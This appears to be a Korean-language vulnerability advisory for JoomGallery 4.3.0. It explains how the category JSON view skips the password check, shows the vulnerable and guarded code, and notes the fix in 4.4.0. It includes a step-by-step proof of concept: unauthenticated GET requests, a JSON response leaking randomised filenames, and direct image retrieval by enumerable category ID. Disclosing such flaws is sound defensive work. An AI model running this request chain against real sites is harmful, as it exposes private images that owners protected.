
JoomGallery에서 JSON 형식을 통한 비밀번호로 보호된 카테고리 우회
JoomGallery ≤ 4.3.0-stable — 인증되지 않은 공격자가 비밀번호 게이트를 우회하여 보호된 이미지 다운로드
JoomGallery의 카테고리 JSON 뷰에 인증되지 않은 접근 제어 우회가 존재합니다. 갤러리 카테고리가 비밀번호로 보호되어 있을 때 HTML 뷰는 비밀번호 게이트를 올바르게 적용하지만, JSON 뷰(format=json)는 이 검사를 완전히 건너뜁니다.
자격 증명이 없는 원격 공격자는 카테고리의 제목, 설명, 그리고 보호된 모든 이미지의 무작위 파일명을 가져온 후 해당 이미지를 직접 다운로드할 수 있습니다. 비밀번호 보호 기능은 단일 HTTP 요청으로 우회됩니다.
이 우회는 Joomla ACL 액세스 수준이 Public(access=1)으로 설정된 카테고리에만 적용됩니다. Registered 또는 Special 액세스로 제한된 카테고리는 JsonView.php:69의 ACL 계층에서 여전히 차단됩니다.
| 컴포넌트 | 취약 버전 | 테스트 환경 | 수정 버전 |
|---|---|---|---|
| JoomGallery | 4.3.0-stable | Joomla 5.4.7 + JoomGallery 4.3.0-stable (PHP 8.x / Apache) | 4.4.0 |
유형: 부적절한 접근 제어 (CWE-284)
필요한 인증: 없음 — 인증되지 않은 단일 HTTP 요청
파일: site/com_joomgallery/src/View/Category/JsonView.php, 76–96행
JoomGallery는 pw_protected 플래그를 통해 카테고리에 대한 비밀번호 보호를 구현합니다. 이 검사는 HtmlView.php에는 존재하지만 JsonView.php에는 완전히 없습니다:
HTMLVIEW.PHP — 올바름(가드 존재)
// 콘텐츠는 숨겨지고 비밀번호 양식이 렌더링됩니다
if (!$this->item->pw_protected) {
$this->item->images->items = $model->getImages();
$this->item->children->items = $model->getChildren();
}
JSONVIEW.PHP — 취약함(가드 없음)
// JsonView.php:76-96 — pw_protected 검사 없음; 콘텐츠가 무조건 반환됨
$this->item->parent = $model->getParent();
$this->item->children->items = $model->getChildren(); // 항상 실행됨
$this->item->images->items = $model->getImages(); // 항상 실행됨
$this->output($this->item); // 파일명을 포함한 전체 응답을 JSON으로 직렬화
Joomla의 format=json 매개변수는 동일한 URL을 별도의 View 클래스로 라우팅합니다. 각 View는 접근 검사를 독립적으로 적용해야 하며, 프레임워크는 이를 자동으로 전파하지 않습니다. 개발자는 HtmlView에 pw_protected 가드를 추가했지만 JsonView에는 이를 누락했습니다.
JoomGallery의 비밀번호 보호는 이미지 파일명을 비밀로 유지하는 데 의존합니다. 파일은 /images/joomgallery/originals/ 아래에 정적 자산으로 저장되며 서버 측 인증 없이 Apache에 의해 직접 제공됩니다. 파일명은 무작위화되며(예: secret-image-1_20260803_1951053711.jpg) PHP/Joomla 계층의 비밀번호 검사를 통과한 후에만 공개됩니다. JSON 우회는 인증되지 않은 요청자에게 파일명을 공개하여 이 모델을 깨뜨리고, 전체 이미지 검색까지 이어지는 공격 체인을 완성합니다.
실습 환경:
pw_protected=true, access=Public)secret-image-1_20260803_1951053711.jpg)GET /index.php/component/joomgallery/category/3
결과: 비밀번호 양식이 렌더링됨. 카테고리 콘텐츠는 표시되지 않음.

GET /index.php/gallery/categories/3-secret-gallery
결과: 별칭(Alias) 경로 내 직접 이미지 접근 차단됨 (/3-secret-gallery)

GET /index.php?option=com_joomgallery&view=category&format=json&id=3
응답 (인증 없이 HTTP 200):
{
"success": true,
"data": {
"title": "Secret Gallery",
"description": "<p>SENSITIVE: Internal photos — restricted access</p>",
"pw_protected": true,
"access": 1,
"images": {
"items": [
{
"title": "Secret Image 1",
"filename": "secret-image-1_20260803_1951053711.jpg",
"cattitle": "Secret Gallery",
"access": "Public"
}
]
}
}
}
pw_protected: true는 비밀번호가 설정되어 있음을 확인시켜 줍니다. 그럼에도 불구하고 무작위 파일명을 포함한 전체 응답이 인증되지 않은 호출자에게 반환됩니다.

3단계에서 얻은 파일명 사용
결과: HTTP 200 — Apache가 이미지 파일을 직접 반환. 인증 불필요.

관리자가 비밀번호로 보호한 모든 갤러리 카테고리는 완전히 노출됩니다. 공격자에게는 순차적이고 쉽게 열거 가능한 숫자형 카테고리 ID만 있으면 됩니다.